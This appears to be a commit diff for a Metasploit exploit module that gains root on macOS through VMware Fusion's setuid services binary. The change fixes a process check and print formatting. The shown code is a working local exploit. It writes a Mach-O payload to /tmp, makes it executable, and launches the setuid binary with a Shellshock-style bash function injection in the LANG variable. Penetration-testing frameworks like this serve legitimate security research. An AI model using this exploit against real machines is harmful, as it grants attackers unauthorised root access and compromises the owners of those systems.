Merge pull request #15 from jvazquez-r7/test_3882

Fix processes check

Author: joevennix

modules/exploits/osx/local/vmware_bash_function_root.rb

@@ -64,25 +64,26 @@ def check
   end
 
   def exploit
-    process_check = datastore['VMWARE_PATH'] + '/Contents/Library/[VO]'
+    process_check = datastore['VMWARE_PATH'] + '/Contents/Library/VMware Fusion Services'
     processes = cmd_exec("bash -c \"ps ax | grep '#{process_check}'\"").split("\n")
+    processes.delete_if { |p| p =~ /grep/ }
 
     if processes.length > 0
-      print_error "VMware is already running the following processes:\n " + processes.join("\n")
-      print_error "These processes must be killed before exploiting."
+      print_error("VMware is already running the following processes:\n #{processes.join("\n")}")
+      print_error("These processes must be killed before exploiting.")
       return
     end
 
     payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
     path = '/Contents/Library/Open VMware Fusion Services' # path to the suid binary
 
-    print_status "Writing payload file as '#{payload_file}'"
+    print_status("Writing payload file as '#{payload_file}'")
     exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
     write_file(payload_file, exe)
     register_file_for_cleanup(payload_file)
     cmd_exec("chmod +x #{payload_file}")
 
-    print_status "Running VMWare services..."
+    print_status("Running VMWare services...")
     cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}'")
   end